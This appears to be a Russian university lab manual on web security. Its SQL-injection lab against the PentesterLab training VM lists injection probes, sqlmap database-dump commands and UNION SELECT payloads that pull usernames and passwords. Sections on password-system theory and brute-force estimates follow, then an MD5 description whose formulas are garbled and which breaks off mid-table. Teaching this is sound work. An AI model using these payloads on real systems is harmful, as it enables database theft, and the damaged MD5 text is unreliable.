Необходимым условием уязвимости к атаке SQL-injection является недостаточная обработка входных недоверенных данных при формировании веб-приложением SQL-запросов, зависящих от этих данных. Атака SQL-injection позволяет злоумышленнику получить непосредственный доступ к данным через механизмы СУБД в обход логики веб-приложения.

* + зависимости от используемой веб-приложением СУБД и условий внедрения выделяют следующие разновидности атак

SQL-injection:

* классическая;
* «слепая» типа boolean-based;
* «слепая» типа time-based;
* error-based;
* вложенная;
* фрагментированная.

Рассмотрим примеры базовых тестов, обнаруживающих

уязвимость параметра id к атаке SQL-injection:

* http://www.test.dpk.su/index?id=1'
* http://www.test.dpk.su/index?id=1"
* http://www.test.dpk.su/index?id=1' order by 1000
* http://www.test.dpk.su/index?id=1"--
* http://www.test.dpk.su/index?id=1'/\*
* http://www.test.dpk.su/index?id=1"#
* http://www.test.dpk.su/index?id=1 and 1=1--
* http://www.test.dpk.su/index?id=1 and 1=2—
* http://www.test.dpk.su/index?id=1' and '1'='1
* http://www.test.dpk.su/index?id=1' and '1'='2

**Постановка задачи**

Выполнить идентификацию и эксплуатацию уязвимостей к

атакам SQL-injection.

**Последовательность действий**

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта [www.pentesterlab.com](http://www.pentesterlab.com). Создать виртуальную машину.

Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «SQL injections → Example 1». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

* sqli/example1.php?name=root'
* sqli/example1.php?name=root"
* sqli/example1.php?name=root'%201=1
* sqli/example1.php?name=root'%201=1#
* sqli/example1.php?name=root'%201=1%20—
* sqli/example1.php?name=root'%201=1%20/\*
* sqli/example1.php?name=root'%20'1'='1
* sqli/example1.php?name=root'%20'1'='2
* sqli/example1.php?name=root'%23sqli

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Выполнить следующую ко-манду:

# python sqlmap.py –p name ––dmbs=mysql ––dump–u http://*IP\_address*/sqli/example1.php?name=root

Просмотреть результаты работы программы, просмотреть полученные данные из базы данных.

Шаг 2. Перейти по ссылке «SQL injections → Example 2». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

* sqli/example2.php?name=root%20and%201=1
* sqli/example2.php?name=root'%09and%09'1'='1
* sqli/example2.php?name=root'%09and%09'1'='2
* sqli/example2.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедить-ся, что в данном случае он не смог идентифицировать уязвимый параметр.

Шаг 3. Перейти по ссылке «SQL injections → Example 3». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

* sqli/example3.php?name=root%20and%201=1
* sqli/example3.php?name=root'/\*\*/and/\*\*/'1'='1
* sqli/example3.php?name=root'/\*\*/and/\*\*/'1'='2
* sqli/example3.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедить-ся, что в данном случае он не сможет идентифицировать уязвимый параметр.

Шаг 4. Перейти по ссылке «SQL injections → Example 4». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

* sqli/example4.php?id=2
* sqli/example4.php?id=2'
* sqli/example4.php?id=2"
* sqli/example4.php?id=1%2b1
* sqli/example4.php?id=0%2b2
* sqli/example4.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду:

* python sqlmap.py –p id ––dmbs=mysql ––dump–u http://*IP\_address*/sqli/example4.php?id=1

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 5. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

* sqli/example5.php?id=2
* sqli/example5.php?id=2'
* sqli/example5.php?id=2"
* sqli/example5.php?id=1%2b1
* sqli/example5.php?id=0%2b2
* sqli/example5.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости

параметра id к атаке SQL-injection. Выполнить следующую команду:

* python sqlmap.py –p id ––dmbs=mysql ––dump–u http://*IP\_address*/sqli/example5.php?id=1

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 6. Перейти по ссылке «SQL injections → Example 5».

Проанализировать логику функционирования веб-приложения.

Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

* sqli/example6.php?id=2
* sqli/example6.php?id=2'
* sqli/example6.php?id=2"
* sqli/example6.php?id=1%2b1
* sqli/example6.php?id=0%2b2
* sqli/example6.php?id=3-1
* sqli/example6.php?id=5-3

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-сценария.

Шаг 7. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

* sqli/example7.php?id=2
* sqli/example7.php?id=2'
* sqli/example7.php?id=2"
* sqli/example7.php?id=1%2b1
* sqli/example7.php?id=3-1
* sqli/example7.php?id=2%0Aand%201=1
* sqli/example7.php?id=2%0Aand%201=2
* sqli/example7.php?id=2%0A%23sqli

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД:

* sqli/example7.php?id=2%0Aunion%20select%201
* sqli/example7.php?id=2%0Aunion%20select%201,2
* sqli/example7.php?id=2%0Aunion%20select%201,2,3
* sqli/example7.php?id=2%0Aunion%20select%201,2,3,4
* sqli/example7.php?id=2%0Aunion%20select%201,2,3,4,5
* sqli/example7.php?id=2%0Aunion%20select%20name, passwd,1,1,1 from users

Ручными методами получить данные из базы данных.

Просмотреть исходный код PHP-сценария.

**Вопросы и задания**

* 1. С помощью программы sqlmap идентифицировать уязвимый к атаке SQL-injection параметр и получить содержимое СУБД в случае, когда веб-приложение запрещает использование пробелов во входных данных.
  2. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-приложения, уязвимого к атаке SQL-injection.
  3. Для веб-приложения, уязвимого к атаке SQL-injection и ис-пользующего для хранения данных СУБД MySQL, получить со-держимое служебной базы данных INFORMATION\_SCHEMA.

**Разработка защищенной аутентификации и авторизации**

**Цель работы:** изучение методов парольной защиты данных.

# Краткая теория

Под ***несанкционированным доступом к информации*** (НСД) согласно руководящим документам Гостехкомиссии будем понимать доступ к информации, нарушающий установленные правила разграничения доступа и осуществляемый с использованием штатных средств, предоставляемых средствами вычислительной техники или автоматизированной системой (АС). НСД может носить случайный или намеренный характер.

Можно выделить несколько обобщенных категорий методов защиты от НСД, в частности:

* организационные;
* технологические;
* правовые.

К первой категории относятся меры и мероприятия, регламентируемые внутренними инструкциями организации, эксплуатирующей информационную систему. Пример такой защиты – присвоение грифов секретности документам и материалам, хранящимся в отдельном помещении, и контроль доступа к ним сотрудников. Вторую категорию составляют механизмы защиты, реализуемые на базе программно-аппаратных средств, например, систем идентификации и аутентификации или охранной сигнализации. Последняя категория включает меры контроля за исполнением нормативных актов общегосударственного значения, механизмы разработки и совершенствования нормативной базы, регулирующей вопросы защиты информации. Реализуемые на практике методы, как правило, сочетают в себе элементы нескольких из перечисленных категорий. Так, управление доступом в помещения может представлять собой взаимосвязь организационных (выдача допусков и ключей) и технологических (установку замков и систем сигнализации) способов защиты.

Рассмотрим подробнее такие взаимосвязанные методы защиты от НСД, как идентификация, аутентификация и используемое при их реализации криптографическое преобразование информации.

***Идентификация*** – это присвоение пользователям идентификаторов и проверка предъявляемых идентификаторов по списку присвоенных.

***Аутентификация*** – это проверка принадлежности пользователю предъявленного им идентификатора. Часто аутентификацию также называют подтверждением или проверкой подлинности.

Под ***безопасностью (стойкостью)*** системы идентификации и аутентификации будем понимать степень обеспечиваемых ею гарантий того, что злоумышленник не способен пройти аутентификацию от имени другого пользователя. В этом смысле чем выше стойкость системы аутентификации, тем сложнее злоумышленнику решить указанную задачу. Система идентификации и аутентификации является одним из ключевых элементов инфраструктуры защиты от НСД любой информационной системы.

Различают три группы методов аутентификации, основанных на наличии у каждого пользователя:

1. индивидуального объекта заданного типа;
2. знаний некоторой известной только ему и проверяющей стороне информации;
3. индивидуальных биометрических характеристик.

К первой группе относятся методы аутентификации, использующие удостоверения, пропуска, магнитные карты и другие носимые устройства, которые широко применяются для контроля доступа в помещения, а также входят в состав программно-аппаратных комплексов защиты от НСД к средствам вычислительной техники.

Во вторую группу входят методы аутентификации, использующие пароли. По экономическим причинам они включаются в качестве базовых средств защиты во многие программно-аппаратные комплексы защиты информации. Все современные операционные системы и многие приложения имеют встроенные механизмы парольной защиты.

Последнюю группу составляют методы аутентификации, основанные на применении оборудования для измерения и сравнения с эталоном заданных индивидуальных характеристик пользователя: тембра голоса, отпечатков пальцев, структуры радужной оболочки глаза и др. Такие средства позволяют с высокой точностью аутентифицировать обладателя конкретного биометрического признака, причем «подделать» биометрические параметры практически невозможно. Однако широкое распространение подобных технологий сдерживается высокой стоимостью необходимого оборудования.

Если в процедуре аутентификации участвуют только две стороны, устанавливающие подлинность друг друга, такая процедура называется ***непосредственной аутентификацией (direct password authentication***). Если же в процессе аутентификации участвуют не только эти стороны, но и другие, вспомогательные, говорят об ***аутентификации с участием доверенной стороны (trusted third party authentication***). При этом третью сторону называют ***сервером аутентификации (authentication server)*** или ***арбитром (arbitrator***).

Наиболее распространенные методы аутентификации основаны на применении многоразовых или одноразовых паролей. Из-за своего широкого распространения и простоты реализации парольные схемы часто в первую очередь становятся мишенью атак злоумышленников. Эти методы включают следующие разновидности способов аутентификации:

* по хранимой копии пароля или его свертке (plaintext-equivalent);
* по некоторому проверочному значению (verifier-based);
* без непосредственной передачи информации о пароле проверяющей стороне (zero-knowledge);
* с использованием пароля для получения криптографического ключа (cryptographic).

В первую разновидность способов входят системы аутентификации, предполагающие наличие у обеих сторон копии пароля или его свертки. Для организации таких систем требуется создать и поддерживать базу данных, содержащую пароли или сверки паролей всех пользователей. Их слабой стороной является то, что получение злоумышленником этой базы данных позволяет ему проходить аутентификацию от имени любого пользователя.

Способы, составляющие вторую разновидность, обеспечивают более высокую степень безопасности парольной системы, так как проверочные значения, хотя они и зависят от паролей, не могут быть непосредственно использованы злоумышленником для аутентификации.

Наконец, аутентификация без предоставления проверяющей стороне какой бы то ни было информации о пароле обеспечивает наибольшую степень защиты. Этот способ гарантирует безопасность даже в том случае, если нарушена работа проверяющей стороны (например, в программу регистрации в системе внедрен «троянский конь»).

Особым подходом в технологии проверки подлинности являются криптографические протоколы аутентификации. Такие протоколы описывают последовательность действий, которую должны совершить стороны для взаимной аутентификации, кроме того, эти действия, как правило, сочетаются с генерацией и распределением криптографических ключей для шифрования последующего информационного обмена. Корректность протоколов аутентификации вытекает из свойств, задействованных в них математических и криптографических преобразований, и может быть строго доказана.

Обычные парольные системы проще и дешевле для реализации, но менее безопасны, чем системы с криптографическими протоколами. Последние обеспечивают более надежную защиту и дополнительно решают задачу распределения ключей. Однако используемые в них технологии могут быть объектом законодательных ограничений.

Для более детального рассмотрения принципов построения парольных систем сформулируем несколько основных определений.

***Идентификатор пользователя*** – некоторое уникальное количество информации, позволяющее различать индивидуальных пользователей парольной системы (проводить их идентификацию). Часто идентификатор также называют именем пользователя или именем учетной записи пользователя.

***Пароль пользователя*** – некоторое секретное количество информации, известное только пользователю и парольной системе, которое может быть запомнено пользователем и предъявлено для прохождения процедуры аутентификации. Одноразовый пароль дает возможность пользователю однократно пройти аутентификацию. Многоразовый пароль может быть использован для проверки подлинности повторно.

***Учетная запись пользователя*** – совокупность его идентификатора и его пароля.

База данных пользователей парольной системы содержит учетные записи всех пользователей данной парольной системы.

Под ***парольной системой*** будем понимать программно-аппаратный комплекс, реализующий системы идентификации и аутентификации пользователей АС на основе одноразовых или многоразовых паролей. Как правило, такой комплекс функционирует совместно с подсистемами разграничения доступа и регистрации событий. В отдельных случаях парольная система может выполнять ряд дополнительных функций, в частности генерацию и распределение кратковременных (сеансовых) криптографических ключей.

Основными компонентами парольной системы являются:

* интерфейс пользователя;
* интерфейс администратора;
* модуль сопряжения с другими подсистемами безопасности;
* база данных учетных записей.

Парольная система представляет собой «передний край обороны» всей системы безопасности. Некоторые ее элементы (в частности, реализующие интерфейс пользователя) могут быть расположены в местах, открытых для доступа потенциальному злоумышленнику. Поэтому парольная система становится одним из первых объектов атаки при вторжении злоумышленника в защищенную систему. Ниже перечислены типы угроз безопасности парольных систем:

1. Разглашение параметров учетной записи через:
   * подбор в интерактивном режиме;
   * подсматривание;
   * преднамеренную передачу пароля его владельцем другому лицу;
   * захват базы данных парольной системы (если пароли не хранятся в базе в открытом виде, для их восстановления может потребоваться подбор или дешифрование);
   * перехват переданной по сети информации о пароле;
   * хранение пароля в доступном месте.
2. Вмешательство в функционирование компонентов парольной системы через:
   * внедрение программных закладок;
   * обнаружение и использование ошибок, допущенных на стадии разработки;
   * выведение из строя парольной системы.

Некоторые из перечисленных типов угроз связаны с наличием так называемого человеческого фактора, проявляющегося в том, что пользователь может:

* + выбрать пароль, который легко запомнить и также легко подобрать;
  + записать пароль, который сложно запомнить, и положить запись в доступном месте;
  + ввести пароль так, что его смогут увидеть посторонние:
  + передать пароль другому лицу намеренно или под влиянием заблуждения.

В дополнение к вышесказанному необходимо отметить существование

«парадокса человеческого фактора». Заключается он в том, что пользователь нередко стремится выступать скорее противником парольной системы, как, впрочем, и любой системы безопасности, функционирование которой влияет на его рабочие условия, нежели союзником системы защиты, тем самым ослабляя ее. Защита от указанных угроз основывается на ряде перечисленных ниже организационно-технических мер и мероприятий.

Выбор паролей

В большинстве систем пользователи имеют возможность самостоятельно выбирать пароли или получают их от системных администраторов. При этом для уменьшения деструктивного влияния описанного выше человеческого фактора необходимо реализовать ряд требований к выбору и использованию паролей (таблица 1).

Таблица 1

*Выбор паролей*

|  |  |
| --- | --- |
| **Требование к выбору пароля** | **Получаемый эффект** |
| Установление минимальной длины пароля | Усложняет задачу злоумышленника при попытке подсмотреть пароль или подобрать пароль методом  «тотального опробования» |
| Использование в пароле различных групп символов | Усложняет задачу злоумышленника при попытке подобрать пароль методом «тотального опробования» |
| Проверка и отбраковка пароля по словарю | Усложняет задачу злоумышленника при попытке подобрать пароль по словарю |
| Установление максимального срока действия пароля | Усложняет задачу злоумышленника при попытке подобрать пароль методом «тотального опробования», в том числе без непосредственного обращения к системе защиты (режим off-line) |
| Установление минимального срока действия пароля | Препятствует попыткам пользователя заменить пароль на старый после его смены по предыдущему требованию |
| Ведение журнала истории паролей | Обеспечивает дополнительную степень защиты по предыдущему требованию |
| Применение эвристического алгоритма, бракующего пароли на основании данных журнала | Усложняет задачу злоумышленника при попытке подобрать пароль по словарю или с использованием эвристического алгоритма |
| Ограничение числа попыток ввода пароля | Препятствует интерактивному подбору паролей злоумышленником |
| Поддержка режима принудительной смены пароля | Обеспечивает эффективность требования, ограничивающего максимальный срок действия |
| Использование задержки при вводе неправильного пароля | Препятствует интерактивному подбору паролей злоумышленником |
| Запрет на выбор пароля самими пользователями и автоматическая генерация паролей | Исключает возможность подобрать пароль по словарю. Если алгоритм генерации паролей не известен злоумышленнику, последний может подбирать пароли только методом «тотального |
| Принудительная смена пароля при  первой регистрации пользователя в системе | Защищает от неправомерного действия системного администратора, имеющего доступ к паролю в момент создания учетной записи |

Примеры

**№ 1.** Задание определить время перебора всех паролей, состоящих из шести цифр.

Алфавит составляют цифры

*n* = 10. Длина пароля 6 символов

*k* = 6.

Таким образом, получаем количество вариантов: *С* = *nk* = 106. Примем скорость перебора *s* = 10 паролей в секунду.

Получаем время перебора всех паролей:

*t* = *C*/*s* = 105 секунд 1667 минут 28 часов 1,2 дня.

Примем, что после каждого из *m=3* неправильно введенных паролей идет пауза в *v=5* секунд.

Получаем время перебора всех паролей:

*T* = *t*\*5/3 = 16667секунд 2778минут  46часов  1,9 дня.

*Т*итог = *t* + *T* = 1,2 + 1,9= 3,1 дня.

**№ 2.** Определить минимальную длину пароля, алфавит которого состоит из 10 символов, время перебора которого было не меньше 10 лет.

Алфавит составляют символы *n* = 10.

Длина пароля рассчитывается: *k = logn C = lg C.*

Определим количество вариантов:

*C= t* \* *s* = 10 лет\*10 паролей в сек. =

= 10\*10\*365\*24\*60\*60  3,15\* 109 вариантов.

Таким образом, получаем длину пароля: *k* = *lg* (3,15\*109) = 9,5. Очевидно, что длина пароля должна быть не менее 10 символов.

# Задание на лабораторную работу 1

1. Определить время перебора всех паролей с параметрами. Алфавит состоит из *n* символов.

Длина пароля символов *k*.

Скорость перебора *s* паролей в секунду.

После каждого из *m* неправильно введенных паролей идет пауза в *v*

секунд

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| вариант | *n* | *k* | *s* | *m* | *v* |
| 1 | 33 | 10 | 100 | 0 | 0 |
| 2 | 26 | 12 | 13 | 3 | 2 |
| 3 | 52 | 6 | 30 | 5 | 10 |
| 4 | 66 | 7 | 20 | 10 | 3 |
| 5 | 59 | 5 | 200 | 0 | 0 |
| 6 | 118 | 9 | 50 | 7 | 12 |
| 7 | 128 | 10 | 500 | 0 | 0 |
| 8 | 150 | 3 | 200 | 5 | 3 |
| 9 | 250 | 8 | 600 | 7 | 3 |
| 10 | 500 | 5 | 1000 | 10 | 10 |
| 11 | 32 | 9 | 200 | 0 | 12 |
| 12 | 27 | 10 | 50 | 7 | 0 |
| 13 | 50 | 7 | 500 | 0 | 3 |
| 14 | 65 | 5 | 200 | 5 | 3 |
| 15 | 60 | 9 | 600 | 7 | 10 |
| 16 | 110 | 10 | 1000 | 0 | 2 |
| 17 | 120 | 3 | 100 | 3 | 10 |
| 18 | 160 | 8 | 13 | 5 | 3 |
| 19 | 240 | 7 | 30 | 10 | 0 |
| 20 | 510 | 5 | 20 | 0 | 0 |

1. Определить минимальную длину пароля, алфавит которого состоит из *n* символов, время перебора которого было не меньше *t* лет. Скорость перебора *s* паролей в секунду.

|  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- |
| вариант | *n* | *t* | *s* | вариант | *n* | *t* | *s* |
| 1 | 33 | 100 | 100 | 11 | 32 | 90 | 50 |
| 2 | 26 | 120 | 13 | 12 | 27 | 100 | 500 |
| 3 | 52 | 60 | 30 | 13 | 50 | 30 | 200 |
| 4 | 66 | 70 | 20 | 14 | 65 | 80 | 600 |
| 5 | 59 | 50 | 200 | 15 | 60 | 50 | 1000 |
| 6 | 118 | 90 | 50 | 16 | 110 | 100 | 100 |
| 7 | 128 | 100 | 500 | 17 | 120 | 120 | 13 |
| 8 | 150 | 30 | 200 | 18 | 160 | 60 | 30 |
| 9 | 250 | 80 | 600 | 19 | 240 | 70 | 20 |
| 10 | 500 | 50 | 1000 | 20 | 510 | 50 | 200 |

1. Определить количество символов алфавита, пароль состоит из *k* символов, время перебора которого было не меньше *t* лет. Скорость перебора *s* паролей в секунду.

|  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- |
| вариант | *k* | *t* | *s* | вариант | *k* | *t* | *s* |
| 1 | 5 | 100 | 100 | 11 | 11 | 90 | 50 |
| 2 | 6 | 120 | 13 | 12 | 12 | 100 | 500 |
| 3 | 10 | 60 | 30 | 13 | 6 | 30 | 200 |
| 4 | 7 | 70 | 20 | 14 | 8 | 80 | 600 |
| 5 | 9 | 50 | 200 | 15 | 50 | 50 | 1000 |
| 6 | 11 | 90 | 50 | 16 | 5 | 100 | 100 |
| 7 | 12 | 100 | 500 | 17 | 6 | 120 | 13 |
| 8 | 6 | 30 | 200 | 18 | 10 | 60 | 30 |
| 9 | 8 | 80 | 600 | 19 | 7 | 70 | 20 |
| 10 | 50 | 50 | 1000 | 20 | 9 | 50 | 200 |

**Защита пароля алгоритмом хеширования MD5**

***Цель работы***

Изучить существующие алгоритмы вычисления дайджестов сообщений и написать программу, реализующую заданный в варианте алгоритм хэширования.

# *Методические указания к работе*

***Хэширование*** (иногда *хеширование*, англ. *hashing*) – преобразование входного массива данных произвольной длины в выходную битовую строку фиксированной длины. Такие преобразования также называются ***хэш-функциями*** или ***функциями свёртки***, а их результаты называют ***хэшем***, ***хэш-кодом*** или ***дайджестом сообщения*** (англ. *message digest*).

Хэширование применяется для сравнения данных: если у двух массивов хэш-коды разные, массивы гарантированно различаются; если одинаковые – массивы, скорее всего, одинаковы. В общем случае, однозначного соответствия между исходными данными и хэш-кодом нет в силу то- го, что количество значений хэш-функций меньше, чем вариантов входного массива. Также существует множество массивов, дающих одинаковые хэш-коды – так называемые ***коллизии***. Вероятность возникновения коллизий играет немаловажную роль в оценке качества хэш-функций.

Существует множество алгоритмов хэширования с различными характеристиками (разрядность, вычислительная сложность, криптостойкость и т.п.). Выбор той или иной хэш-функции определяется спецификой решаемой задачи. Простейшими примерами хэш-функций могут служить контрольные суммы.

***Контрольные суммы*** – это несложные, крайне быстрые и легко реализуемые аппаратные алгоритмы, используемые для защиты от непреднамеренных искажений, в том числе ошибок аппаратуры. По скорости вычисления они в десятки и сотни раз быстрее, чем криптографические хэш- функции, и значительно проще в аппаратной реализации.

Платой за столь высокую скорость является отсутствие криптостойкости – очень просто по- добрать сообщение под заранее известную сумму. Разрядность контрольных сумм (обычно 32 би- та) ниже, чем криптографических хэшей (типичные значения – 128, 160 и 256 бит), что означает возможность возникновения непреднамеренных коллизий.

Простейшим случаем такого алгоритма является деление сообщения на 32- или 16-битные слова и их суммирование, что применяется, например, в TCP/IP.

Как правило, к такому алгоритму предъявляются требования отслеживания типичных аппаратных ошибок, таких, как несколько подряд идущих ошибочных бит до заданной длины. К таким алгоритмам относится, например, *CRC32*, применяемый в аппаратуре Ethernet и в формате упако- ванных файлов ZIP.

Среди множества существующих хэш-функций выделяют криптографически стойкие, при- меняемые в криптографии. Для того чтобы хэш-функция считалась ***криптографически стой- кой***, она должна удовлетворять трѐм основным требованиям, на которых основано большинство применений хэш-функций в криптографии:

* ***необратимость***: для заданного значения хэш-функции должно быть вычислительно неосу- ществимо найти блок данных , для которого ;
* ***стойкость к коллизиям первого рода***: для заданного сообщения должно быть вычислитель- но неосуществимо подобрать другое сообщение , для которого ;
* ***стойкость к коллизиям второго рода***: должно быть вычислительно неосуществимо подобрать пару сообщений ( , ), имеющих одинаковый хэш.

Следует отметить, что не доказано существование необратимых хэш-функций, для которых вычисление какого-либо прообраза заданного значения хэш-функции теоретически невозможно. Обычно нахождение обратного значения является лишь вычислительно сложной задачей.

***Атака «дней рождения»*** позволяет находить коллизии для хэш-функции с длиной значений

бит в среднем за ⁄

вычислений хэш-функции. Поэтому *n*-битная хэш-функция считается

криптостойкой, если вычислительная сложность нахождения коллизий для неѐ близка к ⁄ .

Для криптографических хэш-функций также важно, чтобы при малейшем изменении аргу- мента значение функции сильно изменялось (это свойство называется ***лавинным эффектом***). В частности, значение хэша не должно давать утечки информации даже об отдельных битах аргумента. Это требование служит залогом криптостойкости алгоритмов, хэширующих пользовательский пароль для получения ключа.

В данной лабораторной работе рассматриваются только криптографические хэш-функции.

# *Алгоритм MD5*

***MD5*** (англ. *Message Digest 5*) – 128-битный алгоритм хэширования, разработанный Р. Ривестом из Массачусетского технологического института (MIT) в 1991 году. Предназначен для создания «отпечатков» или «дайджестов» сообщений произвольной длины. Является улучшенной в плане безопасности версией алгоритма *MD4*. Используется для проверки подлинности опубликованных сообщений посредством сравнения дайджеста сообщения с опубликованным хэшем. Эту операцию называют ***«проверкой хэша»***.

Алгоритм *MD5* разработан таким образом, чтобы быть достаточно быстрым для выполнения на 32-разрядном процессоре. Алгоритм не требует больших таблиц подстановок и может быть за- кодирован весьма компактно.

При описании алгоритма под термином ***слово*** понимается 32-битная последовательность, а под термином ***байт*** – 8-битная последовательность.

Последовательность бит может быть интерпретирована естественным образом как последовательность байт, где каждая последовательная группа из 8 бит представляет собой 1 байт. Внутри байта биты располагаются следующим образом: сначала (слева) перечисляются более значимые биты (старшие биты, соответствующие более высокой степени двойки: , , …), а в конце (спра- ва) оказываются наименее значимые биты (младшие, соответствующие , , ). Такой порядок расположения бит (или байт) называется ***big-endian*** (***порядок от старшего к младшему***).

Последовательность байт может быть интерпретирована как последовательность 32-битных слов, где каждая последовательная группа из 4 байт представляет собой 1 слово. Внутри слова байты располагаются следующим образом: сначала идут наименее значимые байты, затем – наиболее. Такой порядок расположения бит (или байт) называется ***little-endian*** (***порядок от младшего к старшему***).

Например, пусть есть последовательность бит (выделена полужирным шрифтом):

**|0 0 0 1 0 0 0 1||0 0 1 0 0 0 1 0||0 0 1 1 0 0 1 1||0 1 0 0 0 1 0 0|...**

|7 6 5 4 3 2 1 0||7 6 5 4 3 2 1 0||7 6 5 4 3 2 1 0||7 6 5 4 3 2 1 0|

└───────────────┘└───────────────┘└───────────────┘└───────────────┘ 0x11 0x22 0x33 0x44

Тогда она может быть интерпретирована как 4 подряд расположенных байта ( , ,

, – шестнадцатеричные числа) или как одно слово .

Пусть символ **' '** обозначает сложение по модулю , т.е. ( ).

Пусть выражение **' <<< '** означает циклический сдвиг бит числа на позиций влево.

### Описание алгоритма.

Пусть имеется сообщение длиной в бит, хэш-функцию которого нужно вычислить. Здесь может быть любым неотрицательным целым числом, не обязательно кратным 8. Тогда со- общение может быть представлено в виде последовательности бит: ….

Шаг 1. *Добавление дополнительных бит*.

К концу сообщения добавляется бит , вслед за которым добавляются нулевые биты ( ) до тех пор, пока длина дополненного сообщения не станет удовлетворять условию:

( ). Таким образом, может быть добавлено от 1 до 512 бит.

После этого нужно преобразовать сообщение из последовательности бит, сгруппированных в байты, в последовательность слов согласно порядку расположения бит *little-endian*.

Шаг 2. *Добавление исходной длины сообщения*.

К результату предыдущего шага добавляются младшие 64 бита, взятые из побитного пред- ставления числа (исходная длина сообщения). При этом сначала дописываются младшие 4 бай- та, а затем – старшие. В итоге получается сообщение, длина которого кратна 512 битам, т.е. полу- ченное сообщение можно разбить на блоки, каждый из которых представляется в виде шестнадца- ти 32-битных слов:,,, … ,, где кратно 16.

Шаг 3. *Инициализация буфера*.

Буфер состоит из четырѐх 32-битных слов ( , , , ) и используется для вычисления хэш- значения. В начале работы алгоритма буфер инициализируется следующими значениями:

: 01 23 45 67, т.е. A = 0x67452301

: 89 AB CD EF, т.е. B = 0xEFCDAB89

: FE DC BA 98, т.е. C = 0x98BADCFE

: 76 54 32 10, т.е. D = 0x10325476

Также определяются четыре функции, которые будут использоваться в дальнейшем (здесь

**' '**, **' '**, **' '** и **' '** – побитные операции):

F (x, y, z) = (x y) ( x z)

G (x, y, z) = (x z) ( z y) H (x, y, z) = x y z

I (x, y, z) = y ( z x)

Наконец, определяется таблица констант [ ], *i*-й элемент которой задаѐтся следующим образом:

[ ] ( | |), где – в радианах, а .

Шаг 4. *Основной цикл*.

Каждая итерация внешнего цикла (по переменной ) соответствует обработке одного 512-битного блока сообщения. Алгоритм обработки сообщения на псевдокоде имеет вид:

For i = 0 to N/16-1 do

// Копирование блока сообщения номер i в массив X For j = 0 to 15 do

X[j] = M[i\*16 + j].

end

// Сохранение текущего значения буфера AA = A

BB = B CC = C DD = D

// Раунд 1

// Пусть запись [abcd k s i] обозначает следующее преобразование:

// a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s)

// Выполняются следующие 16 преобразований

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| [ABCD | 0 | 7 | 1] | [DABC | 1 | 12 | 2] | [CDAB | 2 | 17 | 3] | [BCDA | 3 | 22 | 4] |
| [ABCD | 4 | 7 | 5] | [DABC | 5 | 12 | 6] | [CDAB | 6 | 17 | 7] | [BCDA | 7 | 22 | 8] |
| [ABCD | 8 | 7 | 9] | [DABC | 9 | 12 | 10] | [CDAB | 10 | 17 | 11] | [BCDA | 11 | 22 | 12] |
| [ABCD | 12 | 7 | 13] | [DABC | 13 | 12 | 14] | [CDAB | 14 | 17 | 15] | [BCDA | 15 | 22 | 16] |

// Раунд 2

// Пусть запись [abcd k s i] обозначает следующее преобразование:

// a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s)

// Выполняются следующие 16 преобразований

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| [ABCD | 1 | 5 | 17] | [DABC | 6 | 9 | 18] | [CDAB | 11 | 14 | 19] | [BCDA | 0 | 20 | 20] |
| [ABCD | 5 | 5 | 21] | [DABC | 10 | 9 | 22] | [CDAB | 15 | 14 | 23] | [BCDA | 4 | 20 | 24] |
| [ABCD | 9 | 5 | 25] | [DABC | 14 | 9 | 26] | [CDAB | 3 | 14 | 27] | [BCDA | 8 | 20 | 28] |
| [ABCD | 13 | 5 | 29] | [DABC | 2 | 9 | 30] | [CDAB | 7 | 14 | 31] | [BCDA | 12 | 20 | 32] |

// Раунд 3

// Пусть запись [abcd k s i] обозначает следующее преобразование:

// a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s)

// Выполняются следующие 16 преобразований

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
